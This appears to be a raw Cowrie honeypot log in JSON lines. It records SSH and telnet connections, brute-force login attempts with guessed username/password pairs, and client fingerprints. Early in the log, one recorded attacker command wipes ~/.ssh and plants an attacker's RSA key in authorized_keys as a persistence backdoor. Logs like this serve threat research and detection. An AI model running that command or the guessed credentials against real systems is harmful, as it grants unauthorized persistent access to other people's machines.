{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:26:46.720934Z","src_ip":"43.155.21.198","session":"39e768e492f6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:26:46.931977Z","src_ip":"43.155.21.198","session":"39e768e492f6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:26:47.416753Z","src_ip":"43.155.21.198","session":"39e768e492f6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:26:47.419556Z","src_ip":"43.155.21.198","session":"39e768e492f6","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:26:47.632423Z","src_ip":"43.155.21.198","session":"39e768e492f6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:26:47.636233Z","src_ip":"43.155.21.198","session":"39e768e492f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.155.21.198","src_port":55316,"dst_ip":"10.17.0.5","dst_port":22,"session":"ccefe154643f","protocol":"ssh","message":"New connection: 43.155.21.198:55316 (10.17.0.5:22) [session: ccefe154643f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:26:47.834799Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:26:47.839869Z","src_ip":"43.155.21.198","session":"ccefe154643f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:26:48.047817Z","src_ip":"43.155.21.198","session":"ccefe154643f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:26:48.896360Z","src_ip":"43.155.21.198","session":"ccefe154643f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:26:50.103859Z","src_ip":"43.155.21.198","session":"ccefe154643f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.155.21.198","src_port":55326,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c6324629dee","protocol":"ssh","message":"New connection: 43.155.21.198:55326 (10.17.0.5:22) [session: 6c6324629dee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:26:50.315095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:26:50.321159Z","src_ip":"43.155.21.198","session":"6c6324629dee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:26:50.533694Z","src_ip":"43.155.21.198","session":"6c6324629dee","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:26:51.417162Z","src_ip":"43.155.21.198","session":"6c6324629dee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:26:51.627784Z","src_ip":"43.155.21.198","session":"39e768e492f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:26:51.632465Z","src_ip":"43.155.21.198","session":"6c6324629dee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":39812,"dst_ip":"10.17.0.5","dst_port":22,"session":"6218fa70e341","protocol":"ssh","message":"New connection: 2.57.122.96:39812 (10.17.0.5:22) [session: 6218fa70e341]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:28:06.810321Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:28:06.815013Z","src_ip":"2.57.122.96","session":"6218fa70e341","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:28:06.915629Z","src_ip":"2.57.122.96","session":"6218fa70e341","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz!QAZ2wsx@WSX3edc#EDC","message":"login attempt [ubuntu/1qaz!QAZ2wsx@WSX3edc#EDC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:28:07.218831Z","src_ip":"2.57.122.96","session":"6218fa70e341","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:28:08.323739Z","src_ip":"2.57.122.96","session":"6218fa70e341","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":49350,"dst_ip":"159.203.135.109","dst_port":22,"session":"e5aa8ff7355f","protocol":"ssh","message":"New connection: 2.57.122.96:49350 (159.203.135.109:22) [session: e5aa8ff7355f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:28:23.583008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:28:23.589440Z","src_ip":"2.57.122.96","session":"e5aa8ff7355f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:28:23.693763Z","src_ip":"2.57.122.96","session":"e5aa8ff7355f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz!QAZ2wsx@WSX3edc#EDC","message":"login attempt [ubuntu/1qaz!QAZ2wsx@WSX3edc#EDC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:28:24.004982Z","src_ip":"2.57.122.96","session":"e5aa8ff7355f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:28:25.112520Z","src_ip":"2.57.122.96","session":"e5aa8ff7355f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"54.219.173.44","src_port":38160,"dst_ip":"10.17.0.5","dst_port":23,"session":"837790423c39","protocol":"telnet","message":"New connection: 54.219.173.44:38160 (10.17.0.5:23) [session: 837790423c39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:30:37.031993Z"}
{"eventid":"cowrie.session.closed","duration":10.070995569229126,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:30:47.102885Z","src_ip":"54.219.173.44","session":"837790423c39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"36.22.89.103","src_port":55549,"dst_ip":"159.203.135.109","dst_port":23,"session":"498d8d41a6cf","protocol":"telnet","message":"New connection: 36.22.89.103:55549 (159.203.135.109:23) [session: 498d8d41a6cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:30:55.659287Z"}
{"eventid":"cowrie.session.closed","duration":12.505594491958618,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:31:08.164770Z","src_ip":"36.22.89.103","session":"498d8d41a6cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":51344,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5c8e893ee4d","protocol":"ssh","message":"New connection: 2.57.122.96:51344 (10.17.0.5:22) [session: f5c8e893ee4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:31:16.210509Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:31:16.214880Z","src_ip":"2.57.122.96","session":"f5c8e893ee4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:31:16.322171Z","src_ip":"2.57.122.96","session":"f5c8e893ee4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz!QAZ2wsx","message":"login attempt [ubuntu/1qaz!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:31:16.641563Z","src_ip":"2.57.122.96","session":"f5c8e893ee4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:31:17.748751Z","src_ip":"2.57.122.96","session":"f5c8e893ee4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":40746,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d8845f3ab1f","protocol":"ssh","message":"New connection: 2.57.121.112:40746 (159.203.135.109:22) [session: 1d8845f3ab1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:31:24.004523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:31:24.008414Z","src_ip":"2.57.121.112","session":"1d8845f3ab1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:31:24.108923Z","src_ip":"2.57.121.112","session":"1d8845f3ab1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"041087","message":"login attempt [admin/041087] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:31:24.589642Z","src_ip":"2.57.121.112","session":"1d8845f3ab1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"041085","message":"login attempt [admin/041085] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:31:25.692926Z","src_ip":"2.57.121.112","session":"1d8845f3ab1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"04101974","message":"login attempt [admin/04101974] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:31:26.796572Z","src_ip":"2.57.121.112","session":"1d8845f3ab1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"040983","message":"login attempt [admin/040983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:31:27.900359Z","src_ip":"2.57.121.112","session":"1d8845f3ab1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"04091977","message":"login attempt [admin/04091977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:31:29.004282Z","src_ip":"2.57.121.112","session":"1d8845f3ab1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:31:30.109669Z","src_ip":"2.57.121.112","session":"1d8845f3ab1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":49794,"dst_ip":"159.203.135.109","dst_port":22,"session":"df339240c0a8","protocol":"ssh","message":"New connection: 2.57.122.96:49794 (159.203.135.109:22) [session: df339240c0a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:31:33.177174Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:31:33.189196Z","src_ip":"2.57.122.96","session":"df339240c0a8","protocol":"ssh"}
